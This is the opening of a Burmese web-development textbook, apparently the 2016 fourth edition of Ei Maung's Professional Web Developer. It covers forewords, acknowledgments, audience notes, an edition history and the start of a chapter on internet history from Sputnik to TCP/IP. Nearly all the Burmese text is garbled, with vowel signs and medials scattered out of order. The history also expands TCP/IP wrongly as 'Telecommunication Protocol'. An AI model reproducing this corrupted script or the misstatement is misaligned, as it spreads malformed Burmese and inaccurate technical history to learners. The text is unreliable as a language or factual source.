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အမာှစာ

ပမနမ်ာနိုငင်ံ  ကွြနပ်ျူတာပညာရေငှအ်သငး်မှ  အသင်းသားများ၊  ိကြျာငး်သူ  ိကြျာငး်သားများ၊  ကွြနပ်ျူတာပညာကုိြ
ိလလ့ာ လုိက်ြစားသူများအတက်ွြ နညး်ပညာစာအုပထ်တု်ိ ဝရောမာှ ပထမဆံုးိရေးွချယ်တဲ့စာအုပ်ိ လးပါ။

နညး်ပညာိကြာမ်တီိ တ ွဦးိဆာင်ိ နတဲ့  ဦးထနွး်ခိုင်ိ ရေးွပပးီ  ိထာက်ြခခံျက်ြိပးလို့  ိကြာငး်မနွတ်ဲ့စာအုပပ်ဖေစ်မယ်ဆုိ
တာကုိြ  မနှး်ဆပပးီပဖေစ်တယ။်  နိုငင်ပံခားကြစာအုပတ်စ်အုပကုိ်ြ  ဘာသာပပနပ်ပးီ  ိရေးထားတာများပဖေစ်မလားဆုိတဲ့  စိတ်
ိတာဝ့င်ိ သးတယ်။

အမာှစာိရေးဖေို့ရောအတက်ွြ စာအုပကုိ်ြဖေတအ်ကြည့်ိ တာမ့ှ ဒစီာအုပက်ြိလးမာှ စာိရေးသူရေဲ့  ိစတနာနဲ့ ကကိြုးပမး်အားထတု်
မှု ိတကုိွြ ိတွ့ရေတယ်။ စာအုပတ်စ်အုပကုိ်ြ ဘာသာပပနထ်ားတာမျို းမဟတုပ်ဲ စာိရေးသူရေဲ့  ိလလ့ာလိုက်ြစားထားသမျှ
နဲ့ အိတွ့  အအကြုံိတ ွိပါ်မာှ အိပခခပံပးီ Web Developer တစ်ဦး သိသင့်၊ သိအပ်ိ သာအရောများကုိြ ိသချာစီစစ်ပပီး
ပပည့်စံုရုိးရေငှး် မကြျဉး်မကြျယ် တငပ်ပထားတာိတွ့ရေတယ်။ နညး်ပညာစာအုပ်ိ တကုိွြ ိရေးသားရေင် ခက်ြခတဲဲ့ ပမနမ်ာစာ
အိရေးအသားကုိြ အတက်ြနိုငဆ်ုံး ိပပပပစ်ိအာင ်ိရေးသားထားတာကုိြ ိတွ့နိုငပ်ါတယ်။

နညး်ပညာိတရွေဲ့  အလားအလာပဖေစ်တဲ့   Cloud,  Big  Data,  Social  Media,  Machine  &  Machine
Communication,  Mobile  စတာိတဟွာ  Internet  ိပါ်မာှအိပခခရံေတဲ့အတက်ွြ  Web  App  Development
Knowledge မသိမပဖေစ် ပါလာပပ။ီ အခစုာအုပက်ြိလးကြလညး် ိကြျာငး်သူ၊ ိကြျာငး်သားများ၊ Professional Web
Developer ပဖေစ်လိုသူများ အ တက်ွြ သင့်ိ တာ်ိ သာ စာအုပတ်စ်အုပပ်ဖေစ်တယ်ဆိတုာ ယံုအကြညပ်ါတယ်။

ဦးရဲေရေင့ဝ်င်း
ဥကြ္ကဌ
ပမနမ်ာနိုငင်ကွံြနပ်ျူတာပညာရေငှအ်သငး်
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အမာှစာ

There are always two types of programmers. Those who understand the web and those who don't.
And than there is a third type of programmer. Those that seem to understand the web, but don't.
Being third at anything is not fun! The journey from this third type of programmer to the one that
can fully grasp the potential of the web can not be achieved without having a great foundation in
core web concepts. 

And this is why, and this is truly why I think this new book from Ko Ei Maung would be a
wonderful contribution to make the web a smart and snappy place from our corner of the world.
As a firm believer in the web and web technologies,  I could not be more pleased. This book
espouses all the concept and core undertakings every web developer should come to terms with. It
is a foundation that every CTO and Project Manager wish they had both the time and energy to
explain over and over again to their teams and to their recruits. 

Having such nuggets of knowledge in book form means that educators and entrepreneurs will be
freed from teaching and training foundation materials, there by allowing them to focus more on
what matters most. What matter most is creating more and more people that can learn more new
technologies. Technology in general and the service sector in particular is what economist like to
call "Tertiary Economics". The third wave of economic growth. As a country we are at the edge of
this phase of growth; a nation that is giving smart people a chance to use their intellectual talent
and skills in it's economic growth. This is such a book that aims to make that happen in small
steps towards the larger goal of making the knowledge industry a first class citizen.

But this is not the only reason I find this book timely. Over the last five years the web has been
seeing the largest and most rapid growth in it's history. A plethora of new technologies like dart
and asm.js, node and backbone, angular and ember and the list of endless new frameworks from
the micro to the behemoths has come out. Each one of them as interesting and useful as the other.
Which  one  do  we  choose  for  our  next  project?  Only  when  we  truly  under  the  core  web
technologies will be able to arrive at an informed and valid choice. This book than will go a long
way in doing just that and more.

May you all love the web. 

Ravi
COO, Geo Mandalar Investment & Technology 
CTO, NovaSteps Technologies
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ိကြျးဇးူတငလ်ွှာ

ကြျွန်ိ တာ့်ကုိြ  Web Developer တစ်ိယာက်ြပဖေစ်လာိအာငလ်မး်ပပိပးပပးီ ဤစာအုပ်အတက်ွြ အမာှစာိရေးသားိပး
ခဲ့ိ သာ ကုိြရောဗ၊ီ ဤစာအုပ်ိ ရေးသားရေန် တိုက်ြတနွး်ခဲ့ိ သာ ကြျွန်ိ တာ့်ဇနးီ နငှး်ိဝလငွ၊် စာအုပပ်ဖေစ်ိပမာက်ြိရေးအတက်ွြ
အအကံြပပုကူြညီိ ပးခဲ့ိ သာ  ကုိြပမတသွ်င၊်  မျက်ြမာှဖေုံးဒဇုိီင်းများကုိြ  ိမတ္တ ာပဖေင့်  ိရေးဆဲွိပးခဲ့သူ  ကုိြမျို းိမာင်ိ မာင၊်
ကွြနပ်ျူတာနညး်ပညာ  စတင်ိ လလ့ာစဉက်ြ  အဘက်ြဘက်ြမှ  ပံ့ပိုးိပးခဲ့ိ သာ  ကြျွန်ိ တာ့်ဦးိလး  ဦးပမင့်လှိုငန်ငှ့်ဇနီး၊
မသိားစုိရေးရောများတငွ်  ကြျွန်ိ တာ့်ပညာိရေးကုိြ  ပထမဦးစားိပး  အပမဲသတမ်တှ၍်  ပပုစုပျို းိထာင်ိ ပးခဲ့ိ သာ  ကြျွန်
ိတာ့်အိမ (ကွြယ်လနွ်)  နငှ့်  ကြျွန်ိ တာ့်အိဖေတို့ကုိြ  ဤစာအုပ်  ပဖေစ်ိပမာက်ြလာသည့်အတက်ွြ  ိကြျးဇူးအထးူတငရ်ေှိ
ပါသည။် 

ဤစာအုပ၏်  ဒတုယိအကကိြမန်ငှ့်  တတယိအကကိြမတ်ို့ကုိြ  ပမနမ်ာနိုငင်ကွံြနပ်ျူတာပညာရေငှအ်သင်း  နညး်ပညာစာစဉ်
(MCPA Professional Series) မှ တာဝနယူ်ထတု်ိ ဝိပးခဲ့သည့်အတက်ွြ ဝမး်ိပမာက်ြဂဏုယူ်မသိက့ဲြသုိ့ ပမနမ်ာနိုငင်ံ
ကွြနပ်ျူတာပညာရေငှအ်သငး်အားလညး် ိကြျးဇူးတငရ်ေှိပါသည။် စာဖေတသူ်များ၏ အားိပးမှု အကြာင့် ယခလုို စတတု္ထ
အကကိြမထ်ိ ထတု်ိ ဝနိုငခ်ဲ့ပခငး် ပဖေစ်သည့်အတက်ွြ စာဖေတသူ်များ အားလုံးကုိြ အထးူပင ်ိကြျးဇူးတငရ်ေှိပါသည။်

 အိိမာင်
( Fairway )
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စာိရေးသ၏ူအမာှ

ဝ. ဤစာအုပသ်ည်  Web Development  နငှ့်  ပတသ်က်ြသည့်နညး်ပညာများကုိြ  အိလးိပးိဖောပ်ပသည့်အတက်ွြ၊
Programming  အိပခခမံျားကုိြ  ပပည့်စံုိအာင်  ထည့်သွငး်မိဖောပ်ပနိုငပ်ါ။  စာဖေတသူ်ကြ  Programming  အိပခခံ
သိဘာ  တရေားများ  သိရေှိထားပပးီပဖေစ်ရေန်  လိုအပပ်ါသည။်  ကြျွမး်ကြျင်  Programmer  တစ်ဦးပဖေစ်ရေန်  မလိုအပ်
ိသာလ်ညး်၊ Programming Language တစ်မျို းကုိြ အိပခခအံဆင့် အနညး်ဆံုး ိလ့လာဖေးူမှသာ ဤစာအုပပ်ါနညး်
ပညာများကုိြ ထိိ ရောက်ြစွာ ိလ့လာအသုံးချနိုငမ်ည ်ပဖေစ်ပါသည။်

၁. ဤစာအုပ်အား၊  Programming အိပခခရံေှိပပးီ  Web Development  ကုိြ ိလလ့ာလိုသူများ ဖေတရ်ှုသင့်ပါသည။်
Web  နငှ့်  ပတသ်က်ြသည့်  နညး်ပညာများကုိြ  အိပခခမံစှ၍  လက်ြိတွ့ကြျကြျစံုစံုလငလ်င်ိ ဖောပ်ပထားသည့်အတက်ွြ၊
သိရေှိသင့်သည့် နညး်ပညာများကုိြ တစ်ိနရောတညး်တငွ ်စုစညး်သိရေှိသာွးိစနိုငမ်ညပ်ဖေစ်ပါသည။်

၂. ဤစာအုပအ်ား လက်ြိတွ့လပုင်နး်ခငွတ်ငွ် အလပုလ်ပုကုိ်ြင်ိ နသည့်  Junior Web Developer များ ဖေတရ်ှုသင့်
ပါသည။် တာဝနက်ြျရောနညး်ပညာကုိြ အသားိပးိလလ့ာိနရေသည့်အတက်ွြ မိလ့လာပဖေစ်ိသးပဲ ကြျနရ်ေှိိ နသည့်နညး်
ပညာ များကုိြ တစ်စုတစ်စညး်တညး် ပဖေည့်စွက်ြသိရေှိရေိစနိုငမ်ည ်ပဖေစ်ပါသည။်

၃. ဤစာအုပအ်ား အိတွ့အအကြုံရေှိ  Senior Web Developer  များလညး် ဖေတရ်ှုသင့်ပါသည။် မမိသိိရေှိကြျွမး်ကြျင်
ထားပုံ နငှ့် မတကဲွူြပပားသည့် ရှု ထာင့်သစ်မ ှအပမငသ်စ်များ ပဖေည့်စွက်ြရေရေှိနိုငပ်ါသည။်

၄. ဤစာအုပ်အား  Web  Developer  မဟတုသ်ည့်  Desktop,  Mobile,  Game,  Database  စသည့်  အပခား
Software  များ  ိရေးသားဖေနတ်းီိနသူ  Developer  များလညး်ဖေတရ်ှုသင့်ပါသည။်  Software  Development
အိပခခခံျငး်တူိ သာ် လညး် နညး်ပညာအိပခခမံတသူည့်အတက်ွြ Web ဆုိသညမ်ာှ သီးပခားအချနိ်ိ ပးိလလ့ာရေမည့်
အရောတစ်ခသုဖေယ်ွပဖေစ်ိန နိုငပ်ါသည။် ဤစာအုပက်ြ အချနိအ်များကကီြးိပးစရောမလိုပဲ  Web  နညး်ပညာများကုိြ တစ်
ိနရောတညး် ပခုံငုံသိရေှိသွားိအာင ်ကူြညီိ ပးနိုငမ်ည ်ပဖေစ်ပါသည။်

၅. ဤစာအုပ်အား Team Leader များ၊ CIO/CTO များ၊ Software Development နငှ့် ပတသ်က်ြသည့် လုပင်နး်
တစ်ခခုကုိုြ ဦးိဆာင်ိ နရေသူများ ဖေတရ်ှုသင့်ပါသည။် Web နညး်ပညာများ၏ဆက်ြစပပ်ုံနငှ့် ပဖေစ်စဉရ်ေညရ်ေယ်ွချက်ြများ
ကုိြ သိရေှိရေနိုငမ်ည် ပဖေစ်သပဖေင့်၊ Project Plan များ ိရေးဆဲွရောတငွလ်ညး်ိကြာငး်၊ နညး်ပညာိရေးွချယ်ပခငး်နငှ့် ဆံုးပဖေတ်
ချက်ြများ ချမတှရ်ောတငွလ်ညး်ိကြာငး်၊ Developer များကုိြ လမး်ညွှနရ်ောတငွလ်ညး်ိကြာငး် အိထာက်ြအကူြ ပဖေစ်ိစ
နိုငမ်ည ်ပဖေစ်ပါသည။်
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တညး်ပဖေတမ်ှုမှတတ်မ်း

ဒစီာအုပ၏်  ပထမအကကိြမကုိ်ြ  (၂၀၁၃)  ခနုစ်ှ  ဇွနလ်  (၇)  ရေက်ြိနတ့ငွ်  ိရေးသား  ပပးီစီးခဲ့ပါသည။်  စာဖေတသူ်များ၏
အားိပးမှု အကြာင့် ပထမအကကိြမ် ထက်ွြရေှိပပးီ  (၆)  လအအကြာ (၂၀၁၃)  ခနုစ်ှ ဒဇီငဘ်ာလတငွ် ပဖေည့်စွက်ြအခနး်တစ်ခနး်
ပါဝငသ်ည့် ဒတုယိအကကိြမက်ြို ပုံနှိပထ်တု်ိ ဝခဲ့ရေပါသည။် ပထမအကကိြမန်ငှ့် ဒတုယိအကကိြမတ်ို့ ထက်ွြရေှိပပးီိနာက်ြ အချနိ်
(၂)  နစ်ှအတငွ်းတငွ်  HTTP/2  က့ဲြသုိ့ိ သာ အိရေးပါသည့် နညး်ပညာ သစ်များထက်ွြိပါ်လာသလို၊  HTML5  က့ဲြသုိ့
ိသာနညး်ပညာိတလွညး် မလူကြထက်ြ များစွာတိုးတက်ြ ိပပာငး်လလဲာခဲ့ပါသည။် တိုးတက်ြိပပာငး်လလဲာတဲ့နညး်
ပညာနဲ့အညီ  လိုအပသ်ည့်  ပဖေည့်စွက်ြပပငဆ်ငမ်ှုများ  ပပုလပုပ်ပးီ  (၂၀၁၅)  ခနုစ်ှ  ိမလတငွ်  Professional  Web
Developer 2.1 အမညပ်ဖေင့်  PDF Ebook ကုိြ အခမဲ့ စတငပ်ဖေန့်ိ ဝခဲ့ပါသည။် ထ့ုိိနာက်ြ (၂၀၁၅) ခနုစ်ှ ဒဇီငဘ်ာလ
တငွ်  Laravel  Framework  အိအကြာငး်  မတိဆ်က်ြိဖောပ်ပသည့်  အခနး်တစ်ခနး်  ပဖေည့်စွက်ြပါဝငလ်ာသည့်  တတယိ
အကကိြမ်ကုိြ ထပမ်ပံုံနှိပ ်ိဖောပ်ပခဲ့ပါသည။်

ယခုအကကိြမသ်ည်  စက်ြတငဘ်ာ  (၂၀၁၆)  တငွ်  ပပငဆ်ငတ်ညး်ပဖေတပ်ခငး်ပဖေစပ်ပးီ၊  စတတု္ထ အကကိြမ်ိ ပမာက်ြအပဖေစ်  ပုံနှိပ်
ထတု်ိ ဝရေနပ်ဖေစ်ပါသည။်  အဓကိြထးူပခားချက်ြအပဖေစ်  PHP  အိအကြာငး်  ိဖောပ်ပသည့်  အခနး်များတငွ်  PHP  ၏
ိနာက်ြဆံုး Version ပဖေစ်ိသာ PHP7 နငှ့် ကုိြက်ြညီိ အာင ်ပပငဆ်င်ိ ရေးသားထားပခငး် ပဖေစ်ပါသည။်

စာိရေးသ၏ူ အပခားစာအုပမ်ျား

ယိန့အချနိတ်ငွ်  Full  Stack  Developer  ဟသူည့်အသံုးအနှံုးနငှ့်အတူ  Software  Developer  များအိနနငှ့်
Software  များ  ိရေးသားတည်ိ ဆာက်ြနိုငယံု်သာမကြ  ဆက်ြစပလ်ပုင်န်းများပဖေစ်သည့်  Process  Management,
Project Management, Architecture Design, Server Administration စသည့် လပုင်နး်များကုိြပါ ိဆာငရ်ေက်ွြ
နိုငသူ်များပဖေစ်အကြဖေို့  လိုအပလ်ာပါသည။်  အဆိပုါလိုအပခ်ျက်ြကုိြ  တစ်ဘက်ြတစ်လမး်မှိ န၍  ပဖေည့်စွက်ြိပးနိုငရ်ေန်
ရေညရ်ေယ်ွ၍  ဤစာအုပ၏်  ဒတုယိအကကိြမ်  ထွက်ြရေှိပပးီိနာက်ြ၊  အပခားဆက်ြစပန်ည်းပညာစာအုပမ်ျားကုိြ  ဆက်ြလက်ြ
ိရေးသားပပုစုပဖေစ်ခဲ့ပါသည။်

Linux OS  အား  Developer  များိလလ့ာရောတငွ် အိထာက်ြအကူြပဖေစ်ိစရေနရ်ေညရ်ေယ်ွပပးီ  Ubuntu -  သင့်အတက်ွြ
Linux အမညပ်ဖေင့်  ိရေးသားထတု်ိ ဝခဲ့ပပးီ  ပဖေစ်ပါသည။်  Project  Management  နညး်စနစ်များ၊  ိခတသ်စ်
Software Development  နညး်ပညာများနငှ့်  Back-end Architecture Design  ဆုိငရ်ော အဆင့ပ်မင့်အိအကြာငး်
အရောများကုိြ ိဖောပ်ပထားသည့် Rockstar Developer အမညရ်ေ စာအုပ်ကုိြလညး် ိရေးသားပပုစုထားပပးီ ပဖေစ်ပါ သည။်
စာဖေတသူ်အိနနငှ့်  ဤစာအုပဖ်ေတ်ရှုပပးီပါကြ  Ubuntu -  သင့်အတက်ွြ  Linux နငှ့်  Rockstar Developer တို့အား
လညး် ဆက်ြလက်ြဖေက်ြရှု ိလလ့ာသင့်ပါိအကြာငး် အအကံြပပုလိုပါသည။် ိဖောပ်ပပါ စာအုပ်အားလုံးကုိြ ကြျွန်ိ တာစ်ာိရေး
သူ၏ Website ပဖေစ်သည့် eimaung.com တငွ ်PDF Ebook အပဖေစ် အခမဲ့ Download ရေယူနိုငပ်ါသည။်

http://eimaung.com/
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မတိဆ်က်ြ
Web နညး်ပညာများ၏ အခန်းကြဏ

ကြျွန်ိ တာဟ်ာ  Professional Web Developer  အပဖေစ်လပုကုိ်ြငလ်ာခဲ့တာ ဒစီာိရေးသားချနိမ်ာှ လပုသ်က်ြ  (၉)  နစ်ှ
ိကြျာခ်ဲ့ပပီ ပဖေစ်ပါတယ်။ လုပင်နး်ခငွမ်ာှ လက်ြိတွ့အလပု်ိ တလွပုရ်ေငး် "ိလ့လာဆဲအချနိက်ြသာ ဒအီချက်ြိတကုိွြ ဒလီို
ရေငှး်ပပသူရေှိခဲ့ရေင် အချနိကု်ြနအ်ိတာသ်က်ြသာသွားမာှပဲ" လ့ုိ ိတးွပဖေစ်ခဲ့ရေတဲ့အိအကြာငး်အရောိတကုိွြ ဒစီာအုပမ်ာှစုစညး်
ိဖောပ်ပ ိပးသွားမာှ ပဖေစ်ပါတယ်။

ဒစီာကုိြိရေးိနချနိထ်ိ Web Development အိအကြာငး် ပမနမ်ာဘာသာနဲ့ိ ဖောပ်ပထားတဲ့စာအုပ်ိ တ ွအိတာန်ညး်ိနပါ
ိသးတယ်။ အဂအင်္ဂလပိဘ်ာသာနဲ့ိ တာ့  အများကကီြးရေှိပါတယ်။ ဒါိပမယ့် အများစုကြ နညး်ပညာတစ်ခကုိုြ  အဓကိြထား
ိဖောပ်ပအကြိလရ့ေှိပါတယ်။  အ့ဲဒစီာအုပ်ိ တဟွာ  အကုိြးအကြားအပဖေစ်  လက်ြစဲွထားဖေို့ိ တာ့ိ ကြာငး်ပါတယ်။  ဒါိပမယ့်
ိလလ့ာစ Web Developer  ိတ ွသိသင့်တဲ့နညး်ပညာိတကုိွြ စံုစံုလငလ်ငသိ်ရေဖေို့အတက်ွြ နညး်ပညာတစ်ခု စာတစ်
အုပန်ှုနး်နဲ့လိုက်ြဖေတ်ိ နရေရေင် အဆငမ်ိပပပါဘူး။ စာဖေတ်ိ နရေတာနဲ့ အချနိ်ိ တကုွြန်ိ နဖေို့ရေှိပါတယ်။ စာိတလွှိမ့်ဖေတ်ိ န
ပပးီ လက်ြိတွ့မလပုပ်ဖေစ်ရေငလ်ညး် မထိိ ရောက်ြပပနပ်ါဘးူ။

ဒစီာအုပမ်ာှိတာ့  သိသင့်တဲ့နညး်ပညာများကုိြ  လက်ြိတွ့ကြျကြျနဲ့  လိုရေငး်တိုရေငှး်  ိဖောပ်ပိပးသွားမာှ  ပဖေစ်ပါတယ။်
Web  Development  အိအကြာငး်ကုိြ  အပမနဆံု်းနဲ့  ထထဲဝဲငဝ်ငသိ်ရေဖေို့  ိဖောပ်ပိပးထားတဲ့  လမး်ညွှနစ်ာအုပတ်စ်အပု်
ပဖေစ်ပါတယ်။ အိပခခံိ ကြာငး်ိတ ွိပးလိုက်ြမာှပဖေစ်လို့ ဆုိငရ်ောနညး်ပညာမာှ ကြျွမး်ကြျငသူ်တစ်ိယာက်ြ ပဖေစ်လာိအာင်
ဆက်ြလက်ြပပးီ  Self-Study  လုပသွ်ားနိုငမ်ယ့်  လမး်စကုိြ  အခိုင်အမာ ရေရေှိသွားမာှပါ။  တစ်ချနိတ်ညး်မာှပဲ  လက်ြိတွ့
လပုင်နး်ခငွမ်ာှမပဖေစ်မိန လိုအပတ်ဲ့အပိုင်းိတကုိွြ အဓကိြထားိဖောပ်ပသွားမာှပဖေစ်လို့ ချက်ြပခငး်အလပုပ်ဖေစ်ိအာငလ်ညး်
ကူြညီိ ပးမယ့် စာအုပတ်စ်အုပ ်ပဖေစ်ပါတယ်။

အခုိ နာက်ြပိုငး်မာှ  အငတ်ာနက်ြနညး်ပညာိတ ွအလျငအ်ပမနဖ်ေွံ့ ပဖေို းတိုးတက်ြလာပခငး်နဲ့အတူ  Software  Develop-
ment ဟာလညး် အသွငသ်ဏ္ဌာန်ိ ပပာငး်လ ဲလာခဲ့ပါမယ်။ Business Solution, Web App, Mobile App, Game
စသပဖေင့် Software အမျို းအစားိတဘွယ်လိုပဲ ကဲွြပပားိနပါိစ၊ Software အများစုဟာ အငတ်ာနက်ြကွြနယ်က်ြ ိပါ်
မာှ Client-Server Model နဲ့ အလပုလ်ပုတ်ဲ့ Software ိတ ွပဖေစ်လာအကြပပပီဖေစ်ပါတယ်။ တနညး်အားပဖေင့် မညသ်ည့်
Software  အမျို းအစားမဆုိ  Web  နညး်ပညာများကုိြ  မပဖေစ်မိန တွဲဖေက်ြ အသံုးပပုအကြရေတဲ့ိ ခတပ်ဲ  ပဖေစ်ပါတယ်။ ဒါ
ိအကြာင့်  ဒစီာအုပ်ကြ  Web  App  ိတ ွိရေးသားအကြမယ့်  Web  Developer  များအတက်ွြသာ မကြပဲ  အပခားိသာ
Software အမျို းအစားိတကုိွြ ိရေသားဖေနတ်းီအကြမယ့် Software Developer အားလုံးအတက်ွြ အသံုးဝငတ်ဲ့ စာအုပ်
တစ်အုပ် ပဖေစ်လမိ့်မယ်လို ့ိမျှာလ်င့်ပါတယ်။
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အခနး် (၁) Web Standards
HTTP ိခါ် Client-Server ဆကြသွ်ယ်ိ ရေးနညး်ပညာ

1.1 - အင်တာနကြ်
ကွြနပ်ျူတာိတ ွ တစ်လုံးနဲတ့စ်လုံး  အချက်ြအလက်ြိတ ွ အပပန်အလနှ်  ိပးပို့နိုင်ိ အာင်  ချတိဆ်က်ြ  ထားပခငး်ကုိြ
Computer Network လ့ုိိခါ်ပါတယ်။  အငတ်ာနက်ြဆုိတာကြိတာ့ Network ိတအွချငး်ချငး် ချတိဆ်က်ြိပးထား
တဲ့ Network များရေဲ့  Network ပဖေစ်ပါတယ်။ ကြိန့ိ ခတန်ညး်ပညာများရေဲ့  အိပခခပံငမ်ပဖေစ်တဲ့ ဒအီငတ်ာနက်ြ နညး်
ပညာ ိပါ်ိပါက်ြလာိစမယ့်အပဖေစ်အပျက်ြဟာ ၁၉၅၇ ခနုစ်ှ ိအာက်ြတိုဘာလ (၄) ရေက်ြိနမ့ာှပဖေစ်ပာွးခဲ့ပါတယ်။ အ့ဲဒီ
ိနမ့ာှ  ဆုိဗီယက်ြယူနီယံကြ  ကြမ္ဘာပ့ထမဦးဆံုးပဂို ဟတ်ပုဖေစ်တဲ့  စပတွန်စ်  (၁)  ကုိြ  လတွတ်ငန်ိုငခ်ဲ့ပါတယ်။  ဒီ
အပဖေစ်အပျက်ြဟာ ကြမ္ဘာကကီြးကုိြ လှုပရ်ောှးသွား ိစခဲ့ပါတယ်။ အထးူသပဖေင့် အိမရေကိြနပ်ပည်ိ ထာငစု်ကုိြပါ။ အိမရေကိြန်
ပပည်ိ ထာငစု်အိနနဲ့  ကြမ္ဘာပတလ်မး်ိအကြာငး်ထကုိဲြ  ပဂို ဟတ်လုွှတတ်ငဖ်ေို့  ကကိြုးစားပပငဆ်င်ိ နဆဲအချနိမ်ာှပဲ  သူတိုရေဲ့
မဟာပပို ငဘ်က်ြကြ အရေငလ်တွတ်ငန်ိုငခ်ဲ့တာပါ။ 

ဒအီပဖေစ်အပျက်ြိအကြာင့်  ARPA (Advanced Research Project Agency) ဆုိတဲ့အဖေွဲအစညး်တစ်ခကိုြု နညး်ပညာ
သုိတသနိတ ွပိုပပးီထိိ ရောက်ြိအာင်  လပုန်ိုငဖ်ေိုဆုိ့တဲ့ရေညရ်ေယ်ွချက်ြနဲ့  အိမရေကိြနပ်ပည်ိ ထာငစု်ကြာကွြယ်ိရေးဌာနကြ
စတင ်ဖေွဲ့စညး်ခဲ့ပါတယ။် အငတ်ာနက်ြဟာ ARPA ရေဲ့  ဖေနး်တးီမှုများထကဲြ တစ်ခပုဖေစ်ပါတယ်။ 

၁၉၆၀ ပပည့်နစ်ှမာှ  Joseph Licklider  လိုိ့ ခါ်တဲ့ ကွြနပ်ျူတာသိပ္ံပပညာရေငှက်ြ  Man-Computer Symbiosis  လို့
အမည်ိ ပးထားတဲ့  စာတမး်တစ်ိစာငကုိ်ြ  တငပ်ပလာခဲ့ပါတယ်။  အ့ဲဒီစာတမး်ဟာ  ကွြနပ်ျူတာ  Network  ိတွ
တည်ိ ဆာက်ြဖေိုအ့တက်ွြ  အိပခခတံစ်ခပုဖေစ်ပါတယ်။  ၁၉၆၂  ခနုစ်ှမာှ  Licklider  ဟာ  ARPA  ရေဲ့  Information
Process Office ဥကြ္ကဌ အပဖေစ်နဲ့ Network နညး်ပညာများ သုိတသနလပုန်ိုငဖ်ေို့အတက်ွြ အဖေွဲ့တစ်ဖေွဲ့ကိြု ဖေွဲ့စညး်ိပးခဲ့
ပါတယ်။ ဒါိပမယ့် သူရေဲ့ စိတကူ်ြးိတ ွအိကြာငအ်ထည ်မိဖောပ်ဖေစ်ခငမ်ာှပ ဲအဖေွဲ့ကြိန နှုတထ်က်ွြသွားခဲ့ပါတယ်။ 

နစ်ှတစ်ချို ့အကြာသွားပပီးိနာက်ြ ၁၉၆၇ ခနုစ်ှ ိအာက်ြတိုဘာလ ိရောက်ြတဲ့အခါမာှိတာ့  ARPANET  လ့ုိအမည်ိ ပး
ထားတဲ့ ကွြနပ်ျူတာ Network နညး်ပညာတစ်ခကုိုြ စတငအ်ိကြာငအ်ထည်ိ ဖောန်ိုငခ်ဲ့ပါတယ်။ ၁၉၆၉ ခနုစ်ှ ဒဇီငဘ်ာ
မာှ ကွြနပ်ျူတာ  (၄)  လုံးကုိြ  ပထမဆံုး  Network  အိနနဲ့  စတငခ်ျတိဆ်က်ြအသံုးပပုခဲ့  အကြပါတယ်။ အ့ဲဒီ  ပထမဆံုး
Network မာှသံုးခဲ့တဲ့ Packets Switching နညး်စနစ်ကုိြ ကြိနထ့ ိအသံုးပပုိနဆဲပဖေစ်ပါတယ်။
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သိပမ်အကြာခငမ်ာှ ARPANET ရေဲ့  Packets Switching နညး်စနစ်ကုိြ ပဗတိနိက်ြတကြ္ကသုိလ်ိ တ ွစုိပါငး်ထားတဲ့ ကွြန်
ယက်ြတစ်ခပုဖေစ်တဲ့ JANET နဲ့ နညး်ပညာကုြမ္ပဏတီစ်ခပုဖေစ်တဲ့ CompuServe အပါအဝင် အပခားအဖေွဲ့အစည်းိတကွြ
လညး် အသံုးပပုလာအကြပါတယ်။ ဒီ Network ိတဟွာ ကြိန့ိ ခတန်ဲ့နှိုငး်ယှဉရ်ေင်  Private Network သာသာမျှသာ
ရေှိပါိသးတယ။် 

အိပခခနံညး်ပညာတူိ ပမယ့် မတကဲွူြပပားတဲ့အိသးစိတ် လက်ြိတွ့အသံုးချပုံိ တွိ အကြာင့် Network ိတတွစ်ခနုဲတ့စ်
ခု ချတိဆ်က်ြဖေို့ကကိြုးစားတဲ့ အခါမာှိတာ့ အခက်ြအကြုံလာရေပပနပ်ါတယ်။ ဒပီပဿနာကုိြိပဖေရေငှး်ဖေို့  ARPA  ရေဲ့  Satellite
Network Packets Project မာှလပု်ိ နတဲ့ Robert Kahn နဲ့ စတနး်ဖေို့တကြ္ကသုိလက်ြ Vint Cerf တို့ ပးူိပါငး်ပပီး မ
တညူတီဲ့ နက်ြဝပစ်နစ်ိတအွတက်ွြ အကြားခံ  Mask  တစ်ခအုိနနဲ့ိ ဆာငရ်ေက်ွြိပးနိုငတ်ဲ့  Protocol  တစ်ခု ကုိြဖေနး်တးီ
ိပးခဲ့ပါတယ။်  ၁၉၇၄  ခနုစ်ှ  ဒဇီငဘ်ာမာှ  ိဖောထ်တုခ်ဲ့တဲ့  အ့ဲဒနီညး်ပညာကုိြ  "Internet  Transmission  Control
Program" လို့ ိခါ်ခဲ့ပါတယ်။ ရေလဒက်ြိတာ ့Network ိတအွချငး်ချင်း ချတိဆ်က်ြနိငုလ်ာပခငး်ပပဲဖေစ်ပါတယ်။

ARPA  ကြ လိုအပတ်ဲ့  တွဲဖေက်ြ  Software  ိတကုိွြပါ တည်ိ ဆာက်ြပပးီ  ၁၉၇၇ ခနုစ်ှမာှိတာ့  မတကဲွူြပပားတဲ့နက်ြဝပ်
(၃)ခကုိုြ ိအာင်ိ အာငပ်မငပ်မင်  ချတိဆ်ကြန်ိုငခ်ဲ့ပါတယ်။ ၁၉၈၁ ခနုစ်ှမာှိတာ့  "Telecommunication Protocol /
Internet  Protocol  (TCP/IP)"  ဆုိတဲ့  အမညန်ဲ့  ဒနီညး်ပညာကုိြ  အပပးီသတ်ိ အကြပငာနိုငခ်ဲ့ပါတယ်။  ၁၉၈၂  ခနုစ်ှ
ိရောက်ြတဲ့အခါမာှ  TCP/IP  ကုိြ  အပခား  အဖေွဲ့အစညး်ိတကွြပါ  စတငအ်သံုးပပုလာအကြပါတယ်။  တစ်ကြမ္ဘာလုံး
အတိုငး်အတာနဲ့ ကွြနပ်ျူတာ Network  ိတကုိွြ ချတိဆ်က်ြိပးိတာမ့ယ့် အငတ်ာနက်ြကွြနယ်က်ြကကီြး အစပပုခဲ့ပခငး်ပဲ
ပဖေစ်ပါတယ်။ ကြိနအ့ချနိ်  (၂၀၁၆)  မာှိတာ့  အငတ်ာနက်ြကွြနယ်က်ြကကီြးထမဲာှ  ကွြနပ်ျူတာိတသွာမကြ၊ မိုဘိုငး်ဖေနုး်
ိတ၊ွ Tablet ိတနွဲ့ အပခားိသာ Device ိပါငး် ၂၂.၉ ဘလီယံီအထိ ချတိဆ်က်ြပါဝင်ိ နပပပီဖေစ်ပါတယ်။ ၂၀၂၀ ခနုစ်ှ
ိရောက်ြတဲ့အခါ အငတ်ာနက်ြမာှ ချတိဆ်က်ြပါဝငတ်ဲ့ Device ိပါငး် ၅၀.၁ ဘီလယံီအထိ ရေှိလာလမိ့်မယ်လို့ ိလ့လာမှု
တစ်ခကုြ ဆုိထားပါတယ်။ 

